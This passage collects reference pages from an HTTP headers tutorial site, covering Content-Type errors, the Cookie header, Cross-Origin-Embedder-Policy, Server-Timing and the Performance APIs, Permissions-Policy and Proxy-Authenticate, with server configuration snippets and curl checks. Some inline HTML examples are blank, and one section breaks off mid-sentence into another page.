('text/html') is not a supported stylesheet MIME type`.** Same cause for CSS. **`Failed to load module script: Expected a JavaScript module script but the server responded with a MIME type of "application/octet-stream"`.** Serve `.js` and `.mjs` as `text/javascript`. In nginx check `include mime.types;` is present; in S3 or GCS set the object metadata `Content-Type`. **`415 Unsupported Media Type`.** The server did not accept the request body type. See [415](https://howhttpworks.com/status-codes/415). **Mojibake such as `é`.** A `text/html` response without `charset` is guessed by the browser. Send `charset=utf-8` and also `` in the first 1024 bytes. **Download instead of render.** `application/octet-stream` or a missing type with `Content-Disposition: attachment`. See [Content-Disposition](https://howhttpworks.com/headers/content-disposition). ## Sniffing If the type is missing or generic, browsers may guess from the content (MIME sniffing), a vector for XSS through uploaded files served as HTML. `X-Content-Type-Options: nosniff` disables sniffing for scripts and styles and is worth setting everywhere; see [X-Content-Type-Options](https://howhttpworks.com/headers/x-content-type-options). Serve user uploads from a separate domain with the correct type, or with `Content-Disposition: attachment`. ## Server configuration nginx maps extensions in `mime.types` and falls back to `default_type`: ```nginx include /etc/nginx/mime.types; default_type application/octet-stream; types { text/javascript mjs; } ``` Apache: `AddType text/javascript .mjs`. Verify with: ```bash curl -sI https://example.com/app.mjs | grep -i content-type ``` ## Related - [Content-Encoding](https://howhttpworks.com/headers/content-encoding), [Content-Length](https://howhttpworks.com/headers/content-length), [Accept](https://howhttpworks.com/headers/accept), [Content-Disposition](https://howhttpworks.com/headers/content-disposition) - [415 Unsupported Media Type](https://howhttpworks.com/status-codes/415) --- # Cookie Header > Learn how the Cookie header sends stored cookies to servers with each request. Understand cookie transmission, session management, and security considerations. Source: https://howhttpworks.com/headers/cookie Last reviewed: 2026-10-04 > **TL;DR:** Sends stored cookies from browser to server for session management and user tracking. Contains name=value pairs separated by semicolons for state persistence. ## What is Cookie? The **Cookie** header sends previously stored cookies back to the server. It's like showing your membership card or loyalty points when you visit a store—the server recognizes you and remembers your preferences. Cookies enable stateful interactions in the stateless HTTP protocol, allowing servers to remember users across requests. ## How Cookies Work **1. Server sets cookies:** ```http HTTP/1.1 200 OK Set-Cookie: sessionId=abc123; HttpOnly; Secure Set-Cookie: theme=dark; Max-Age=86400 ``` **2. Browser stores and sends them back:** ```http GET /dashboard HTTP/1.1 Host: example.com Cookie: sessionId=abc123; theme=dark ``` ## Cookie Format ### Single Cookie ```http Cookie: name=value ``` ### Multiple Cookies ```http Cookie: sessionId=abc123; userId=42; theme=dark; lang=en ``` ### With Special Characters ```http Cookie: message=Hello%20World; data=%7B%22key%22%3A%22value%22%7D ``` ## Common Use Cases ### Session Management ```http Cookie: JSESSIONID=A1B2C3D4E5F6; PHPSESSID=xyz789 ``` Maintains user login state across requests. ### User Preferences ```http Cookie: theme=dark; language=en-US; timezone=America/New_York ``` Remembers user settings and customizations. ### Shopping Cart ```http Cookie: cart=item1,item2,item3; cartTotal=49.99 ``` Tracks items before user logs in. ### Analytics and Tracking ```http Cookie: _ga=GA1.2.123456789; _gid=GA1.2.987654321 ``` Google Analytics tracking cookies. ## Real-World Examples ### E-commerce Site ```http GET /products HTTP/1.1 Host: shop.example.com Cookie: sessionId=user123; cart=prod1,prod2; currency=USD; lastVisit=2026-01-17 ``` ### Social Media Platform ```http GET /feed HTTP/1.1 Host: social.example.com Cookie: authToken=jwt123; userId=42; notifications=enabled; darkMode=true ``` ### Banking Application ```http GET /account HTTP/1.1 Host: bank.example.com Cookie: secureSession=encrypted123; csrfToken=abc456; lastActivity=1642518000 ``` ## Cookie Attributes (Set by Server) ### HttpOnly ```http Set-Cookie: sessionId=abc123; HttpOnly ``` Prevents JavaScript access (XSS protection). ### Secure ```http Set-Cookie: authToken=xyz789; Secure ``` Only sent over HTTPS connections. ### SameSite ```http Set-Cookie: csrf=token123; SameSite=Strict ``` Controls cross-site request behavior. ### Expiration ```http Set-Cookie: remember=true; Max-Age=2592000 Set-Cookie: temp=data; Expires=Wed, 20 Jan 2027 12:00:00 GMT ``` ## Security Considerations ### Sensitive Data Protection ```javascript // ❌ Don't store sensitive data in cookies document.cookie = 'password=secret123' document.cookie = 'creditCard=1234567890123456' // ✅ Store session identifiers only document.cookie = 'sessionId=abc123; Secure; HttpOnly' ``` ### CSRF Protection ```http Cookie: csrfToken=random123; sessionId=user456 ``` Include CSRF tokens to prevent cross-site attacks. ### Size Limitations ```javascript // Cookies are limited to ~4KB per cookie // Total limit: ~4KB per domain const largeCookie = 'data=' + 'x'.repeat(4000) // Might be rejected ``` ## Browser Behavior ### Automatic Sending Browsers automatically include relevant cookies: ```http GET /api/profile HTTP/1.1 Host: example.com Cookie: sessionId=abc123; theme=dark # Browser adds these automatically ``` ### Domain and Path Matching ```http # Cookie set for .example.com applies to: # - example.com # - www.example.com # - api.example.com # Cookie set for /admin applies to: # - /admin # - /admin/users # - /admin/settings ``` ### Cookie Jar Management ```javascript // Browsers manage cookie storage automatically // Cookies persist across browser sessions (unless session-only) // Expired cookies are automatically removed ``` ## Server-Side Handling ### Reading Cookies ```javascript // Node.js/Express app.get('/profile', (req, res) => { const sessionId = req.cookies.sessionId const theme = req.cookies.theme || 'light' if (!sessionId) { return res.status(401).json({ error: 'Not authenticated' }) } const user = getUserBySession(sessionId) res.json({ user, theme }) }) ``` ### Setting Cookies ```javascript // Express.js res.cookie('sessionId', 'abc123', { httpOnly: true, secure: true, maxAge: 24 * 60 * 60 * 1000 // 24 hours }) ``` ### Parsing Cookie Header ```javascript function parseCookies(cookieHeader) { const cookies = {} if (cookieHeader) { cookieHeader.split(';').forEach((cookie) => { const [name, value] = cookie.trim().split('=') cookies[name] = decodeURIComponent(value) }) } return cookies } ``` ## Getting Cookie right ### Minimize Cookie Size ```javascript // ❌ Large cookies slow down requests Cookie: userData = { name: 'John', email: 'john@example.com', preferences: { theme: 'dark', lang: 'en' } } // ✅ Store minimal identifiers Cookie: sessionId = abc123 ``` ### Use Appropriate Attributes ```javascript // For authentication res.cookie('sessionId', id, { httpOnly: true, secure: true, sameSite: 'strict' }) // For preferences res.cookie('theme', 'dark', { maxAge: 30 * 24 * 60 * 60 * 1000 }) // 30 days // For tracking (if needed) res.cookie('analytics', id, { secure: true, sameSite: 'lax' }) ``` ### Handle Missing Cookies ```javascript app.get('/api/data', (req, res) => { const sessionId = req.cookies.sessionId if (!sessionId) { return res.status(401).json({ error: 'Authentication required', redirectTo: '/login' }) } // Continue with authenticated request }) ``` ## Testing Cookies ### Using curl ```bash # Send cookies manually curl -H "Cookie: sessionId=abc123; theme=dark" https://example.com/api/profile # Save cookies from response curl -c cookies.txt https://example.com/login # Use saved cookies curl -b cookies.txt https://example.com/dashboard ``` ### Using JavaScript ```javascript // Read cookies (if not HttpOnly) const cookies = document.cookie.split(';').reduce((acc, cookie) => { const [name, value] = cookie.trim().split('=') acc[name] = value return acc }, {}) // Set cookies (client-side) document.cookie = 'theme=dark; max-age=86400; secure' ``` ## Cookie Size Limits and Cookie Prefixes Browsers enforce size limits on cookies. A single cookie is limited to about 4096 bytes, and browsers drop larger ones silently. Per-domain count limits are around 180 in Chrome and Firefox (the old figure of 50 is obsolete). Cookies over the limit are silently dropped, which causes subtle login bugs. Everything the browser sends back in the `Cookie` header also counts against the server's request-header limits, which is where `431 Request Header Fields Too Large` and nginx's `400 Request Header Or Cookie Too Large` come from; the [request header too large guide](https://howhttpworks.com/debug/request-header-too-large) shows how to find the oversized cookie. Cookie prefixes are a security mechanism that enforces attribute requirements. A cookie named `__Secure-session` must have the `Secure` attribute — browsers reject it otherwise. A cookie named `__Host-session` must have `Secure`, must not have a `Domain` attribute, and must have `Path=/`. The `__Host-` prefix is the stronger of the two because it prevents subdomain cookies from overriding it, making it ideal for session cookies on applications that share a domain with other services. ## Related Headers - [Set-Cookie](https://howhttpworks.com/headers/set-cookie) - Server sets cookies - [Authorization](https://howhttpworks.com/headers/authorization) - Alternative authentication - [User-Agent](https://howhttpworks.com/headers/user-agent) - Client identification - [Referer](https://howhttpworks.com/headers/referer) - Request origin tracking --- # Cross-Origin-Embedder-Policy > Learn how Cross-Origin-Embedder-Policy (COEP) controls cross-origin resource loading. Required for SharedArrayBuffer and high-resolution timer access. Source: https://howhttpworks.com/headers/cross-origin-embedder-policy Last reviewed: 2026-10-05 > **TL;DR:** Send `Cross-Origin-Embedder-Policy: require-corp` together with `Cross-Origin-Opener-Policy: same-origin` on your HTML to make the page cross-origin isolated, which unlocks `SharedArrayBuffer` and precise timers. The catch: every cross-origin `no-cors` asset then needs a `Cross-Origin-Resource-Policy` header, and CORS-mode assets must pass CORS. `credentialless` is the easier option, because it loads `no-cors` assets without credentials instead of demanding CORP. ## What is Cross-Origin-Embedder-Policy? COEP is a policy on a document's response that controls which cross-origin content that document may load. It can't grant permission on a CDN's behalf, and it doesn't turn an ordinary `no-cors` image request into a CORS request. Whether an asset loads comes down to the asset's request mode and its own response headers. [MDN lays out the rules for each mode](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cross-Origin-Embedder-Policy#directives). ## Syntax ```http Cross-Origin-Embedder-Policy: require-corp ``` Put it on the HTML response. Adding it only to API responses or asset files has no effect on the page. ## Value Guide - `unsafe-none` is the default and adds no COEP restriction. Ordinary CORS and CORP rules still apply. - `require-corp` lets a cross-origin `no-cors` asset load only if it sends a suitable CORP header; CORS-mode loads must succeed under CORS. - `credentialless` lets cross-origin `no-cors` loads through without CORP by sending them without credentials and ignoring any cookies in the response. CORS-mode requests still need CORS permission, and an asset that sends a restrictive CORP is still blocked. ## Example The headers on the document response (headers on this page are trimmed examples): ```http Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp ``` Then check the result in the served page: ```javascript console.log(window.isSecureContext, window.crossOriginIsolated) ``` Isolation also requires a secure context and a `cross-origin-isolated` permissions policy that allows it. [MDN documents the capability check](https://developer.mozilla.org/en-US/docs/Web/API/Window/crossOriginIsolated). Trust `crossOriginIsolated`, not the header. ## Implementation In nginx, add these to the server or location that serves the document: ```nginx add_header Cross-Origin-Opener-Policy "same-origin" always; add_header Cross-Origin-Embedder-Policy "require-corp" always; ``` [The `always` parameter adds the headers to error responses too](https://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header). Watch for nested locations with their own `add_header` directives, because those replace the inherited ones. In an existing Express app, register middleware for the document before the route that serves the HTML: ```javascript app.use('/isolated', (_req, res, next) => { res.set({ 'Cross-Origin-Opener-Policy': 'same-origin', 'Cross-Origin-Embedder-Policy': 'require-corp' }) next() }) app.get('/isolated', (_req, res) => { res.sendFile('isolated.html', { root: '/srv/app/public' }) }) ``` The route expects `/srv/app/public/isolated.html` to exist. [Express covers header middleware and rooted file responses](https://expressjs.com/en/5x/api/response/#res.sendFile). Scope these headers to pages that need isolation, then test their resources and popup flows. ## Why Pages Break After Enabling COEP A plain cross-origin image loads in `no-cors` mode. Under `require-corp`, you have two fixes: the provider returns `Cross-Origin-Resource-Policy: cross-origin`, or you request the image in CORS mode: ```html Logo ``` The CORS route needs the CDN to answer this anonymous request with a matching `Access-Control-Allow-Origin` or `*`. That header alone won't help while your page still makes a `no-cors` request. Fonts are always [loaded with CORS](https://www.w3.org/TR/css-fonts-4/#font-fetching-requirements), so a font that fails its CORS check stays broken no matter what CORP header you add. ## Rollout Strategy Start in report-only mode to find violations without enforcing anything. Assuming you run the report endpoint: ```http Reporting-Endpoints: coep="https://reports.example.com/coep" Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="coep" ``` The [report-only header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cross-Origin-Embedder-Policy-Report-Only) only reports; it doesn't isolate the page. Report delivery varies by browser, so also test the real page with DevTools open. ## Enabling COEP Without Breaking Your Page Audit request modes before you touch asset headers. A third-party script might load as `no-cors`, while a module script or font needs CORS. Cross-origin iframes add their own document-policy requirements, so putting CORP on the child document is only part of the fix. COEP `credentialless` isn't a general fix for third-party iframes. The separate, experimental [` ``` Inspect the API request in Network: the sandbox omits `allow-same-origin`, so the script runs with an opaque origin. Allowing `null` would grant the same serialized identity to other unrelated sandboxed documents. A response readable by this test frame is not proof that only this particular embed can access it. ## Related Headers - [Referer](https://howhttpworks.com/headers/referer) - [Access-Control-Allow-Origin](https://howhttpworks.com/headers/access-control-allow-origin) - [Sec-Fetch-Site](https://howhttpworks.com/headers/sec-fetch-site) - [Host](https://howhttpworks.com/headers/host) --- # Performance-Timing: Server-Timing, Timing-Allow-Origin and Performance APIs > There is no Performance-Timing HTTP header. Use Server-Timing, Timing-Allow-Origin, the Navigation and Resource Timing APIs, TTFB and INP instead. Source: https://howhttpworks.com/headers/performance-timing Last reviewed: 2026-10-04 > **TL;DR:** There is no `Performance-Timing` HTTP header. To report backend durations send `Server-Timing`, to let other origins read timings send `Timing-Allow-Origin`, and to measure in the browser use `PerformanceNavigationTiming` and `PerformanceObserver` (Core Web Vitals now use INP, not FID). This URL is kept because people search for it. The name usually comes from one of three things: a custom header invented by an in-house proxy, the old `window.performance.timing` JavaScript object, or confusion between the Performance APIs and HTTP headers. Here is what each one maps to. ## What to use instead | You want | Use | | --- | --- | | Backend durations visible in DevTools and JavaScript | `Server-Timing` response header | | Third-party scripts, images or API calls to expose detailed timings | `Timing-Allow-Origin` response header | | Page load phases in JavaScript | `PerformanceNavigationTiming` | | Per-request phases for subresources | `PerformanceResourceTiming` | | Real-user vitals | `PerformanceObserver` for LCP, CLS, INP | ## Server-Timing ```http HTTP/1.1 200 OK Server-Timing: db;dur=47.2;desc="Postgres", cache;desc="miss", app;dur=12.1, total;dur=83.5 ``` Each metric has a name and optional `dur` (milliseconds) and `desc`. Chrome DevTools shows them in the Network panel under Timing, and JavaScript reads them from `entry.serverTiming`. Use short names, and consider omitting the header in production for unauthenticated users, because it exposes backend structure. CDNs commonly add their own entries (for example Cloudflare's `cfCacheStatus`, or `cdn-cache; desc=HIT` on Fastly). Details on [Server-Timing](https://howhttpworks.com/headers/server-timing). Express example: ```javascript app.use((req, res, next) => { const start = process.hrtime.bigint() const onHeaders = require('on-headers') onHeaders(res, () => { const ms = Number(process.hrtime.bigint() - start) / 1e6 res.setHeader('Server-Timing', `app;dur=${ms.toFixed(1)}`) }) next() }) ``` nginx can expose upstream time with `add_header Server-Timing "upstream;dur=$upstream_response_time" always;`, but this value is in seconds, not milliseconds, so convert it or rename the metric. ## Timing-Allow-Origin For cross-origin resources, browsers hide most Resource Timing details (DNS, connect, request and response start, sizes) unless the response allows it: ```http Timing-Allow-Origin: https://www.example.com ``` `Timing-Allow-Origin: *` exposes timings to any page and is common on CDN assets. It is independent of CORS: it does not let pages read the body. See [Timing-Allow-Origin](https://howhttpworks.com/headers/timing-allow-origin). ## Navigation Timing in JavaScript `performance.timing` (Level 1) is deprecated. Use the Level 2 entry: ```javascript const [nav] = performance.getEntriesByType('navigation') const ttfb = nav.responseStart // ms since navigation start const serverTime = nav.responseStart - nav.requestStart const dns = nav.domainLookupEnd - nav.domainLookupStart const tcpTls = nav.connectEnd - nav.connectStart const download = nav.responseEnd - nav.responseStart console.log({ ttfb, serverTime, dns, tcpTls, download, protocol: nav.nextHopProtocol }) console.log(nav.serverTiming) // parsed Server-Timing entries ``` Resource Timing for subresources: ```javascript performance.getEntriesByType('resource') .filter((e) => e.transferSize === 0 && e.decodedBodySize > 0) // from cache, or TAO missing .forEach((e) => console.log(e.name, e.duration)) ``` A `transferSize` of 0 on a cross-origin entry means either a cache hit or a missing `Timing-Allow-Origin`. ## Core Web Vitals Observe vitals with `PerformanceObserver`, or use the `web-vitals` library: ```javascript new PerformanceObserver((list) => { for (const entry of list.getEntries()) console.log('LCP', entry.startTime, entry.element) }).observe({ type: 'largest-contentful-paint', buffered: true }) ``` The current Core Web Vitals are LCP (loading, good at 2.5 s or less), INP (responsiveness, good at 200 ms or less) and CLS (visual stability, good at 0.1 or less). INP replaced FID in March 2024. TTFB is a diagnostic, not a Core Web Vital, but a slow TTFB caps your LCP. HTTP-level fixes for it: caching ([Cache-Control](https://howhttpworks.com/headers/cache-control)), [early hints](https://howhttpworks.com/headers/early-hints) (103), compression, and HTTP/2 or HTTP/3. ## Check it with curl ```bash curl -s -o /dev/null -w 'dns=%{time_namelookup} connect=%{time_connect} tls=%{time_appconnect} ttfb=%{time_starttransfer} total=%{time_total}\n' https://example.com/ curl -sI https://example.com/ | grep -iE '^(server-timing|timing-allow-origin)' ``` ## Related - [Server-Timing](https://howhttpworks.com/headers/server-timing), [Timing-Allow-Origin](https://howhttpworks.com/headers/timing-allow-origin), [X-Response-Time](https://howhttpworks.com/headers/x-response-time), [Early-Hints](https://howhttpworks.com/headers/early-hints) --- # Permissions-Policy Header > Learn how the Permissions-Policy header controls which browser features and APIs can be used in your site and embedded iframes. Enhance security and privacy. Source: https://howhttpworks.com/headers/permissions-policy Last reviewed: 2026-10-05 > **TL;DR:** `Permissions-Policy` decides which origins may use browser features like the camera, microphone and geolocation in your page and its iframes. `Permissions-Policy: camera=(), microphone=(), geolocation=()` switches all three off in supporting browsers. Allowing a feature only makes it possible: the user still has to grant permission, and a cross-origin iframe also needs a matching `allow` attribute. ## What is Permissions-Policy? This response header sets which origins may use specific policy-controlled browser features. It applies to documents and the frames nested inside them, not to individual scripts. A third-party script running in your page is bound by your page's policy, whatever origin it was downloaded from. [MDN explains how inheritance works](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Permissions_Policy). ## How Permissions-Policy Works An empty allowlist turns a feature off. `self` allows your own origin, as long as the feature's other requirements, such as HTTPS and user permission, are met. Once an ancestor denies a feature, no iframe below it can turn it back on: `camera=()` on the parent beats `allow="camera"` on a child. ## Syntax A typical header (examples on this page are trimmed): ```http Permissions-Policy: camera=(), microphone=(), geolocation=(self "https://maps.example.com") ``` Directives are separated by commas. Inside the parentheses, list `self` and double-quoted origins separated by spaces. `camera=*` is the wildcard and `camera=()` is the empty list. This header uses its own syntax, so Feature-Policy's semicolon-separated format doesn't carry over. ## Common Features Camera, microphone and geolocation default to `self`, not `*`. Every feature has its own default, so leaving a feature out of your header doesn't mean it's allowed everywhere. Check the individual [camera](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Permissions-Policy/camera), [microphone](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Permissions-Policy/microphone) and [geolocation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Permissions-Policy/geolocation) references. For a video embed that also needs fullscreen, these are the defaults that matter: | Directive | Default allowlist | API restriction | | --- | --- | --- | | `camera` | `self` | Camera access through getUserMedia | | `microphone` | `self` | Microphone access through getUserMedia | | `geolocation` | `self` | Geolocation API | | `fullscreen` | `self` | Fullscreen API | The [fullscreen directive](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Permissions-Policy/fullscreen) has its own compatibility table. Think of an allowlist as a ceiling. It sets the most a frame can do; the user's permission decides the rest. ## Real-World Scenarios For a map iframe, serve the parent page with the geolocation policy above and delegate the feature to the frame: ```html ``` The frame can now ask the user for their location; the user still decides. MDN's [geolocation example](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Permissions-Policy/geolocation#examples) shows why you need both the parent header and the iframe delegation. For a cross-origin video-call frame, name that origin in the parent's policy: ```http Permissions-Policy: camera=(self "https://call.example.com"), microphone=(self "https://call.example.com"), fullscreen=(self "https://call.example.com") ``` Then delegate the same features on the frame: ```html ``` The iframe's [allow attribute](https://developer.mozilla.org/en-US/docs/Web/API/HTMLIFrameElement/allow) can only narrow what the parent policy allows. If the frame later navigates to a different origin, revisit the allowlist; the original delegation may not apply to the new origin. ## Server Configuration In the nginx server or location that serves your HTML: ```nginx add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always; ``` In Apache with `mod_headers` loaded: ```apache Header always set Permissions-Policy "camera=(), microphone=(), geolocation=()" ``` See the [nginx](https://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header) and [Apache](https://httpd.apache.org/docs/2.4/mod/mod_headers.html#header) directive docs. Pick one layer to own the policy, and check the header that actually arrives after every proxy. In Express, you can turn device APIs off by default and enable them only on the page that needs them: ```javascript app.use((_req, res, next) => { res.set('Permissions-Policy', 'camera=(), microphone=(), geolocation=()') next() }) app.get('/call', (_req, res) => { res.set('Permissions-Policy', 'camera=(self), microphone=(self), geolocation=()') res.sendFile('call.html', { root: '/srv/app/public' }) }) ``` Put the HTML file at that fixed path. Register the default middleware before the route, so the route's policy is the one that lands; a global setter that runs later would overwrite it. In Flask, an after-request hook with `setdefault` adds the default without clobbering a route's own policy: ```python from flask import Flask, make_response, render_template app = Flask(__name__) @app.after_request def policy(response): response.headers.setdefault( "Permissions-Policy", "camera=(), microphone=(), geolocation=()" ) return response @app.get("/call") def call(): response = make_response(render_template("call.html")) response.headers["Permissions-Policy"] = "camera=(self), microphone=(self)" return response ``` `call.html` goes in Flask's templates directory. [Flask's after_request hook](https://flask.palletsprojects.com/en/stable/api/#flask.Flask.after_request) receives the response and has to return it. The call page gets its own policy while every other page keeps the camera off. ## HTML Equivalent The iframe `allow` attribute uses a different syntax and only affects that one iframe, so it can't stand in for the document-wide header. To turn off camera and microphone in a single frame: ```html ``` ## Migration from Feature-Policy An old `Feature-Policy: geolocation 'none'` becomes `Permissions-Policy: geolocation=()`. Check each feature name as you migrate, because which directives are supported varies by browser and feature. Here's a full conversion: ```http Feature-Policy: camera 'none'; microphone 'self' ``` ```http Permissions-Policy: camera=(), microphone=(self) ``` The iframe attribute didn't change: it still uses semicolons and quoted keywords. Leave its value alone; pasting the comma-separated header syntax into it breaks it. ## Getting Permissions-Policy right Put the policy on the document that contains the iframe. A policy on the JavaScript file or a JSON API response has no effect on the page. Keep the parent's allowlist and the iframe's `allow` attribute in agreement. ## Common Patterns A video-call page might use `camera=(self), microphone=(self)`, while a static content page turns both off. Base the policy on what each page actually uses, instead of pasting a long list of experimental directives. If the call runs on your own origin, `camera=(self)` also covers same-origin frames inside it, within whatever their ancestors allow. For a third-party call frame, use the explicit origin and delegation shown above. Setting `camera=()` site-wide and then trying to allow the camera only in the iframe fails, because the parent has already said no. ## Testing Permissions-Policy With `camera=()` in place, try this from a secure page: ```javascript try { const stream = await navigator.mediaDevices.getUserMedia({ video: true }) stream.getTracks().forEach((track) => track.stop()) } catch (error) { console.log(error.name) } ``` Supporting browsers report a policy denial as `NotAllowedError`. A user clicking "Block" produces the same name, so look at the response header and the iframe's policy before you blame either one. [MDN lists getUserMedia's error cases](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia#exceptions). Check browser support directive by directive; there's no single version where the whole header starts working. MDN marks the [header as limited availability](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Permissions-Policy). Seeing the header in the Network panel only tells you it was sent, so test each directive you depend on. ## Common Issues Allowlists take origins, not URLs with paths. Write `"https://maps.example.com"`, not the store-locator URL. A child frame can't loosen a parent's denial, and a parent's permission doesn't skip the user's. A sandboxed frame without `allow-same-origin` has an opaque origin and can't use getUserMedia, and `allow="camera"` won't change that. [MDN lists the iframe and secure-context requirements](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia#security). Check the sandbox attributes as well as the policy before editing the parent's allowlist. ## Security Considerations Permissions Policy restricts a specific set of APIs. It doesn't stop tracking in general or control everything an embedded script does, and it's no substitute for CSP or iframe sandboxing. Turning off the camera and geolocation has no bearing on which scripts can load or where they can connect; that's CSP's job. ## Related Headers - [Content-Security-Policy](https://howhttpworks.com/headers/content-security-policy) - [Cross-Origin-Embedder-Policy](https://howhttpworks.com/headers/cross-origin-embedder-policy) - [X-Frame-Options](https://howhttpworks.com/headers/x-frame-options) --- # Proxy-Authenticate Header > Learn how the Proxy-Authenticate header challenges clients for credentials when accessing resources through a proxy. Understand proxy authentication schemes. Source: https://howhttpworks.com/headers/proxy-authenticate Last reviewed: 2026-10-05 > **TL;DR:** When a proxy wants credentials, it answers `407 Proxy Authentication Required` and lists the schemes it accepts in `Proxy-Authenticate`. The client retries with `Proxy-Authorization`. It's the proxy-side twin of `401` plus `WWW-Authenticate`, which come from the origin server and need separate credentials. The header tells the client which authentication scheme and parameters the proxy accepts. Every 407 a proxy generates must include at least one challenge. See [RFC 9110 §11.7.1](https://www.rfc-editor.org/rfc/rfc9110#section-11.7.1). ## How Proxy-Authenticate Works For HTTPS through an HTTP/1.1 forward proxy, the client usually asks for a tunnel with CONNECT before any TLS handshake with the origin happens. The requests and responses on this page are trimmed examples. ```http CONNECT api.example.com:443 HTTP/1.1 Host: api.example.com:443 ``` If the proxy wants credentials first, it rejects the request with a challenge: ```http HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Corporate Proxy" Content-Length: 0 ``` Once the client authenticates, a successful CONNECT opens the tunnel and the origin TLS traffic flows through it. Plain HTTP requests through a forward proxy work differently: they use an absolute-form target such as `GET http://example.com/ HTTP/1.1`. See [RFC 9110 §9.3.6](https://www.rfc-editor.org/rfc/rfc9110#section-9.3.6) and [RFC 9112 §3.2.2](https://www.rfc-editor.org/rfc/rfc9112#section-3.2.2). ## Syntax ```text Proxy-Authenticate: scheme [scheme-specific parameters] ``` Each scheme defines its own parameters, so `realm` isn't universal. If you parse the header yourself, remember that parameter values can contain commas, so splitting on commas won't reliably separate challenges. A Basic challenge: ```http Proxy-Authenticate: Basic realm="Corporate Proxy", charset="UTF-8" ``` The realm names a protection space so the client knows which credentials to use. Basic just base64-encodes the username and password, with no encryption at all. [RFC 7617](https://www.rfc-editor.org/rfc/rfc7617) defines its parameters. ### Multiple challenges and Digest parameters A proxy can offer several challenges on separate field lines. This one offers Negotiate and Basic: ```http Proxy-Authenticate: Negotiate Proxy-Authenticate: Basic realm="Corporate Proxy" ``` The client picks a scheme it supports. Listing Negotiate first doesn't force anyone to use it. In curl, `--proxy-negotiate` authenticates to the proxy, while `--negotiate` authenticates to the origin. To let curl choose, pass `--proxy-anyauth` with your proxy credentials. The [curl proxy authentication options](https://curl.se/docs/manpage.html#--proxy-negotiate) document each layer. Digest challenges carry algorithm-specific parameters. This one advertises SHA-256 and `qop=auth`: ```http Proxy-Authenticate: Digest realm="proxy", nonce="proxy-generated-nonce", algorithm=SHA-256, qop="auth" ``` The client computes its response from this exact challenge and the request target. With qop, the nonce count and client nonce go into the hash too, so a response copied from another URI, or one that skips those inputs, will fail. If the proxy sends `opaque`, return it unchanged. [RFC 7616 §§3.3–3.4](https://www.rfc-editor.org/rfc/rfc7616#section-3.3) specifies these fields. Digest protects the password from casual sniffing, but it isn't a substitute for TLS. ## Testing Proxy-Authenticate Point curl at your test proxy and look at the challenge without sending credentials: ```bash curl --proxy http://proxy.example.com:3128 -v https://example.com/ -o /dev/null ``` Then let curl pick a supported scheme and prompt you for the password: ```bash curl --proxy https://proxy.example.com:8443 \ --proxy-anyauth --proxy-user proxyuser \ https://example.com/ -o /dev/null ``` The `https://` proxy URL encrypts the hop between client and proxy. Swap in your own proxy hostname, port and certificate. [`--proxy-anyauth`](https://curl.se/docs/manpage.html#--proxy-anyauth) may cost an extra round trip while curl discovers the scheme, and it only helps if curl and the proxy share one. ## Getting Proxy-Authenticate right Set proxy credentials in the client's proxy configuration, not in application code. Browsers make this explicit: Fetch forbids request headers that start with `Proxy-`, and it has no `proxy` option for picking a forward proxy. See the [Fetch Standard](https://fetch.spec.whatwg.org/#forbidden-request-header). Watch the transport, too. If you talk to a proxy over plain HTTP, a Basic credential sent with CONNECT travels in the clear, even when the destination is HTTPS. It goes out before the destination TLS handshake starts. ## Proxy-Authenticate vs WWW-Authenticate Getting through the proxy doesn't get you into the origin. A request inside an authenticated tunnel can still come back 401. In curl, `--proxy-user` holds your proxy credentials and `--user` holds your origin credentials. They're separate sets. Basic and Digest are IETF-specified. Other schemes work only when both proxy and client support them, and how secure they are depends on the transport, the algorithm and the implementation. ## Server (Proxy) Implementation Checking a password in an Express route doesn't make a forward proxy. A real one also handles CONNECT, validates destinations and keeps proxy credentials from leaking upstream. Use an existing proxy whose authentication and tunnel behavior you can test. ### Apache local forward proxy For a local diagnostic proxy, bind to loopback and require credentials. You'll need Apache's proxy, proxy_http, proxy_connect, auth_basic, authn_file and authorization modules: ```apache Listen 127.0.0.1:3128 ProxyRequests On AllowCONNECT 443 AuthType Basic AuthName "Local proxy" AuthBasicProvider file AuthUserFile /etc/apache2/proxy.htpasswd Require valid-user ``` Create the credentials file: ```bash htpasswd -c /etc/apache2/proxy.htpasswd proxyuser ``` Drop `-c` when adding users to an existing file. This listener speaks plain HTTP on loopback, so keep it local. Before serving remote users, add client-to-proxy TLS and network access restrictions. [Apache's proxy access documentation](https://httpd.apache.org/docs/2.4/mod/mod_proxy.html#access) explains why your access rules must cover CONNECT as well: it carries a host and port, not an origin path. Test the challenge, then the authenticated tunnel: ```bash curl --noproxy '' --proxy http://127.0.0.1:3128 -v https://example.com/ -o /dev/null curl --noproxy '' --proxy http://127.0.0.1:3128 \ --proxy-basic --proxy-user proxyuser https://example.com/ -o /dev/null ``` The first request gets a 407 challenge. The second prompts for the password and goes through. The origin might still reject the tunneled request on its own terms, but you've proven the proxy boundary works without writing a credential parser by hand. ## Debugging a persistent 407 Start with the advertised scheme and realm. If the proxy offers Digest and your client is forced to Basic, no password change will fix it. Let curl negotiate with `--proxy-anyauth`, or pick a scheme the proxy actually supports. Next, check `NO_PROXY`. A request that bypasses the proxy never reaches the thing you're debugging. The commands above pass `--noproxy ''` to override any bypass settings. [curl documents this override](https://curl.se/docs/manpage.html#--noproxy). With an HTTPS proxy there are two TLS peers: the proxy and the destination. A proxy certificate error happens before CONNECT authentication even starts, so treat it as a trust problem, not a credential one. Once CONNECT succeeds, the destination certificate gets verified separately. Do not disable both checks just to make a 407 easier to investigate. For a plain HTTP destination, the client sends an absolute URI as the request target. Here the credentials are the 